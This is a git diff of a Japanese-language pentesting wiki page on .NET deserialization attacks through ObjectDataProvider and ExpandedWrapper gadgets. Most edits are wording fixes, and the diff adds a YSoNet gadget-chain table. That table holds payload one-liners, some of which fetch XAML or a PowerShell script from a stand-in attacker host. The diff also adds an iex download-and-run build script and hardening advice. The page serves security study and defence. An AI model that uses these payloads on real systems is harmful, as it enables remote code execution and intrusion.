diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 81e1f5b0b..814568b5e 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -6,19 +6,19 @@ ## ObjectDataProvider ガジェット -ドキュメントから: _ObjectDataProvider クラスは、バインディングソースとして使用できるオブジェクトをラップし、作成します。_\ +ドキュメントから: _ObjectDataProvider クラスは、バインディングソースとして使用できるオブジェクトをラップして作成します。_\ そうですね、奇妙な説明ですので、このクラスが何を持っているのか見てみましょう: このクラスは、**任意のオブジェクトをラップする**ことを可能にし、_**MethodParameters**_を使用して**任意のパラメータを設定し、**その後、**MethodNameを使用して任意の関数を呼び出す**ことができます。\ したがって、任意の**オブジェクト**は、**デシリアライズされる際に**、**パラメータ**を持つ**関数**を**実行**します。 ### **これはどのように可能か** -**System.Windows.Data** 名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` の **PresentationFramework.dll** 内で定義および実装されています。 +**System.Windows.Data** 名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` にある **PresentationFramework.dll** 内で定義および実装されています。 [**dnSpy**](https://github.com/0xd4d/dnSpy) を使用すると、私たちが興味のあるクラスの**コードを検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> メソッド名**のコードを見ています。 ![](<../../images/image (427).png>) -`MethodName` が設定されると `base.Refresh()` が呼び出されることがわかります。これが何をするのか見てみましょう: +`MethodName` が設定されると `base.Refresh()` が呼び出されるのが観察できます。これが何をするのか見てみましょう: ![](<../../images/image (319).png>) @@ -30,9 +30,9 @@ ![](<../../images/image (596).png>) -これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);`** を呼び出します。これは**メソッドセットが呼び出される**行です。 +これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);`** を呼び出します。これは、**メソッドセットが呼び出される**行です。 -_**MethodName**_**を設定するだけで実行されることを確認したい場合は、このコードを実行できます: +_**MethodName**_ を設定するだけでそれが実行されることを確認したい場合は、このコードを実行できます: ```java using System.Windows.Data; using System.Diagnostics; @@ -52,14 +52,14 @@ myODP.MethodName = "Start"; } } ``` -注意: `System.Windows.Data`をロードするには、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ を参照として追加する必要があります。 +注意: `System.Windows.Data`をロードするには、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を参照として追加する必要があります。 ## ExpandedWrapper -前述のエクスプロイトを使用すると、**オブジェクト**が_**ObjectDataProvider**_インスタンスとして**デシリアライズされる**ケースがあります(例えば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました)。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型(例えば`Process`)について**知識がありません**。DotNetNukeの脆弱性についての詳細は[こちら](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)で確認できます。 +前のエクスプロイトを使用すると、**オブジェクト**が_**ObjectDataProvider**_インスタンスとして**デシリアライズされる**ケースがあります(例えば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました)。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型については**知識がありません**(例えば`Process`)。DotNetNukeの脆弱性についての詳細は[こちら](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)で確認できます。 このクラスは、特定のインスタンスにカプセル化されたオブジェクトのオブジェクト型を**指定する**ことを可能にします。したがって、このクラスはソースオブジェクト(_ObjectDataProvider_)を新しいオブジェクト型にカプセル化し、必要なプロパティ(_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_)を提供するために使用できます。\ -これは、前述のケースのように非常に便利です。なぜなら、**_ObjectDataProvider**_を**_**ExpandedWrapper**_インスタンス内に**ラップ**し、**デシリアライズされると**このクラスが**_**OjectDataProvider**_オブジェクトを**作成**し、_**MethodName**_で示された**関数**を**実行**するからです。 +これは、前述のケースのように非常に便利です。なぜなら、**_ObjectDataProvider**_を**_**ExpandedWrapper**_インスタンス内に**ラップ**し、**デシリアライズされたとき**にこのクラスが**_**OjectDataProvider**_オブジェクトを**作成**し、_**MethodName**_で示された**関数**を**実行**するからです。 次のコードでこのラッパーを確認できます: ```java @@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` +## 高度な .NET ガジェットチェーン (YSoNet & ysoserial.net) + +上記で紹介した ObjectDataProvider + ExpandedWrapper テクニックは、アプリケーションが **安全でない .NET デシリアライズ** を行う際に悪用できる多くのガジェットチェーンのうちの一つに過ぎません。**[YSoNet](https://github.com/irsdl/ysonet)**(および古い [ysoserial.net](https://github.com/pwntester/ysoserial.net))のような現代のレッドチームツールは、数十のガジェットとシリアル化フォーマット用の **使える悪意のあるオブジェクトグラフ** の生成を自動化します。 + +以下は、*YSoNet* に同梱されている最も有用なチェーンの簡潔なリファレンスで、それらの動作方法とペイロードを生成するための例コマンドを簡単に説明しています。 + +| ガジェットチェーン | キーアイデア / プリミティブ | 一般的なシリアライザー | YSoNet ワンライナー | +|--------------|----------------------|--------------------|------------------| +| **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、マテリアライズされた後にデリゲートが*任意の*攻撃者提供メソッド(例: `Process.Start`)を指すようにします | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して、* .NET ≥4.8 タイプフィルタリングをバイパス*し、提供されたクラスの **コンストラクタ** を直接呼び出すか、C# ファイルをその場で **コンパイル** します | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | `System.Data.DataSet` の **レガシー XML** 表現を利用して、`` / `` フィールドを埋めることで任意の型をインスタンス化します(オプションで `--spoofedAssembly` でアセンブリを偽装) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | WPF 対応ランタイム (> .NET 5) でプロパティゲッターをチェーンし、`System.CodeDom.Compiler.CompilerResults` に到達した後、`-c` で提供された DLL を *コンパイル* または *ロード* します | `Json.NET` タイプなし, `MessagePack` タイプなし | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (レビュー) | WPF `System.Windows.Data.ObjectDataProvider` を使用して、制御された引数で任意の静的メソッドを呼び出します。YSoNet は悪意のある XAML をリモートでホストするための便利な `--xamlurl` バリアントを追加します | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` に `ScriptBlock` を埋め込み、PowerShell がオブジェクトをデシリアライズするときに実行されます | PowerShell リモーティング, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | + +> [!TIP] +> すべてのペイロードはデフォルトで **stdout に書き込まれ**、他のツール(例: ViewState ジェネレーター、base64 エンコーダー、HTTP クライアント)にパイプするのが簡単です。 + +### YSoNet のビルド / インストール + +*Actions ➜ Artifacts* / *Releases* に事前コンパイルされたバイナリがない場合、以下の **PowerShell** ワンライナーがビルド環境をセットアップし、リポジトリをクローンしてすべてを *Release* モードでコンパイルします: +```powershell +Set-ExecutionPolicy Bypass -Scope Process -Force; +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; +iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); +choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; + +git clone https://github.com/irsdl/ysonet +cd ysonet +nuget restore ysonet.sln +msbuild ysonet.sln -p:Configuration=Release +``` +コンパイルされた `ysonet.exe` は `ysonet/bin/Release/` にあります。 + +### 検出と強化 +* **検出** 予期しない `w3wp.exe`、`PowerShell.exe` の子プロセス、またはユーザー提供データを逆シリアル化するプロセス(例:`MessagePack`、`Json.NET`)。 +* レガシー `BinaryFormatter` / `NetDataContractSerializer` を削除できない場合は、常に **タイプフィルタリング** (`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector`、`SerializationBinder`、*等*) を有効にし、強制します。 +* 可能な限り **`System.Text.Json`** または **`DataContractJsonSerializer`** に移行し、ホワイトリストベースのコンバータを使用します。 +* 決して必要としないウェブプロセスで読み込まれることのない危険な WPF アセンブリ(`PresentationFramework`、`System.Workflow.*`)をブロックします。 + +## 参考文献 +- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) +- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) +- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) + {{#include ../../banners/hacktricks-training.md}}